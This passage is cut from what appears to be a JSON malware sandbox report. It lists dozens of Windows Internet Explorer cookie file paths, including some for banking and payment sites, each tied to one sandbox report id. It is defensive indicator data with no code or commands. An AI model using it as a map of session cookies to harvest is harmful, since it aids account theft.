indows\\Cookies\\%OSUSER%@mthai[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mtime[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mtvn.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mxptint[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myhard[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myplaycity[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myspace[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mywebsearch[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@n.rivals[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nakanohito[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nate[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@navdmp[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nbcu.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@netflix[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@netmng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@network.bazaarvoice[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@newscgp[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@newsvine[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexac[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexage[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexon[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nickjr[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nicovideo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@noaa[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nokia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nspmotion[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nuggad[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@o2online[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oadz[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@officestore.microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oi.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ok[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@omtrdc[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@onlinebanking.usbank[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@onlinedown[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@openx[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oracle.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@oracle[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@otomoto[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@otto[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ournba[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@outbrain[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@overstock[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@owneriq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@p.l.youku[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@p4p.yhd[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pagefair[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pagesjaunes[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pandora[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pandora[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pardot[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@partycasino[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@partypoker[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@passport.126[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@passport.126[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@paypalobjects[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@paypal[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pcauto.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pchome[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pclady.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pconline.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pcworld[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@people[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@photobucket[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pho[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pi.pardot[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pingan[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pippio[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixel-a.sitescout[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixel.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixnet[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pixnet[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@play.barbie[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@player.vimeo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pnc[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@poco[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pof[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pof[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pole-emploi[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pool.admedo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@poptropica[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pos.baidu[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@postrelease[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pps[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@prism.pandora[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pro-market[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pro.goalunited[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@profile.zhenai[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@proparm[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@pubmatic[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@px.steelhousemedia[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qip[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qqtn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qq[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qtmojo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@quantserve[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@qunar[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rakuten.112.2o7[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rambler[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rat.rakuten.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rcsmetrics[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@realtor[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@real[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@redintelligence[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@repubblica[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@revsci[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rfihub[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@richaudience[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rightmove.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rivals[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rlcdn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@robtex[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rs.aol[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rta.dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rtb.behe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ru4[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rubiconproject[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@rutube[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@s.thebrighttag[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@scorecardresearch[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@scribd[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sddan[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@searchina[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@secure.imvu[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@seesaa[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sekindo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@semasio[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@send.microad[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@server.adform[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@service.channel.mtime[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@serving-sys[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@seznam[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sharethis[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shoplocal[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopping.udn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopping.udn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shopzilla[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shutterflycom.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@shutterfly[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@simpli[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sitescout[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skimresources[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skycn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@skyrock[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sky[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@slideshare[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@smartadserver[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@socdm[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sociomantic[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sofa.bankofamerica[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@softonic[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sogou[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sohu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songspk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songspk[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@songs[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sonymobcomm.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sony[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sony[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@soundcloud[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sourceforge[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sp1.convertro[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@spiegel[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@spotxchange[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sprint[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@squid.gazeta[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ssl.bing[2].txt","sources":[{"report_type":